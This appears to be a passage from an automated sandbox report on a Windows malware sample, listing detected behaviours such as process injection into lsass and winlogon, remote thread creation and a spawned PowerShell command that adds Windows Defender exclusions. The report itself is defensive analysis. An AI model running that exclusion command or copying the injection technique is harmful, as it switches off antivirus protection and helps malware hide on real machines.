Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A661307D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000002A661307D90
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDD7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_000002BAAEDD7D90
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDDD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_000002BAAEDDD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879CD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	34_2_0000026A879CD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879C7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	34_2_0000026A879C7D90
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	35_2_00000179537A7D90
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	35_2_00000179537AD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D56D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_000002295D56D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D567D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_000002295D567D90
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_0000025306E6D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	37_2_0000025306E6D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_0000025306E67D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	37_2_0000025306E67D90
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_000001845B3AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	38_2_000001845B3AD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_000001845B3A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	38_2_000001845B3A7D90
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000001ADECD47D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_000001ADECD47D90
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000001ADECD4D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_000001ADECD4D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D55907D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_000001D55907D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D559077D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_000001D559077D90
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_00000241A9EAD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_00000241A9EAD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_00000241A9EA7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_00000241A9EA7D90
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD7319D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_000001CD7319D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD73197D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_000001CD73197D90
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E897D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	43_2_000002824E897D90
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E89D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	43_2_000002824E89D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B47B3D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	44_2_0000021B47B3D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B47B37D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	44_2_0000021B47B37D90
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000020870067D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	45_2_0000020870067D90
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_000002087006D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	45_2_000002087006D2A4

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force			Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 225DC610000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 202C0AB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A6612D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 2BAAEDA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26A87990000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17953770000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2295D530000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 253067D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1845B370000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D559040000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 241A9E70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CD73160000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2824E860000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21B473C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2086F9D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17183BC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23FD3F70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2A4150000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 275BDF30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1AAC0260000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 203C9F30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B5644B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C004F60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24E2AB40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2644ADB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: 1990000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20D25DA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26EF5350000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A7F0D60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23D0FFB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B1C2570000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2108B910000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29166930000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1988D570000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13869B40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E1CC740000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2855DA70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2BF199D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15AF3890000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21A03B80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 1CD40E40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 151A6530000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19E29D00000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17D7B150000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BE621A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2252F480000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 184683D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 1380000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1972E260000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 2246C5E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 221D5930000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC690000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1D178970000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A633B40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2928D0A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 1A22A640000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21C6CF30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF641A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 1D349350000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 23B60D90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F22F7C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 241096C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28E722F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19168E00000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 28D91BB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 26F19AF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1B647730000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1E58CC00000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 287EAEC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2360AE70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2C5CCF40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\MpCmdRun.exe base: 20B1BA90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 27C60030000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 26DC7740000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 26DC7770000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

17_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DC61273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: C0AB273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 612D273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\dwm.exe EIP: AEDA273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8799273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5377273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D53273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 67D273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5B37273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: EBFD273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5904273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A9E7273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7316273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4E86273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 473C273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6F9D273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 83BC273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D3F7273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A415273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: BDF3273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C026273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C9F3273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 644B273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7B2A273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4F6273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2AB4273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4ADB273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 199273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 25DA273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F535273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F0D6273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FFB273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C257273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8B91273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6693273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 13EF273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D57273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 69B4273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CC74273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5DA7273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 199D273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F389273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3B8273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 40E4273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A653273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 29D0273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7B15273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 621A273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F48273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8B4B273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 683D273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 138273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2E26273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6C5E273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D593273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FC69273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7897273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 33B4273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D0A273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AB4C273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2A64273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6CF3273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 641A273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4935273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 60D9273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5E7B273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F7C273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E815273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5234273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9DA9273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 602E273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 96C273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 722F273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 68E0273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 91BB273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 19AF273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4773273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8CC0273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EAEC273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AE7273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CCF4273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 1BA9273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6003273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C774273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C777273C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A	Jump to behavior
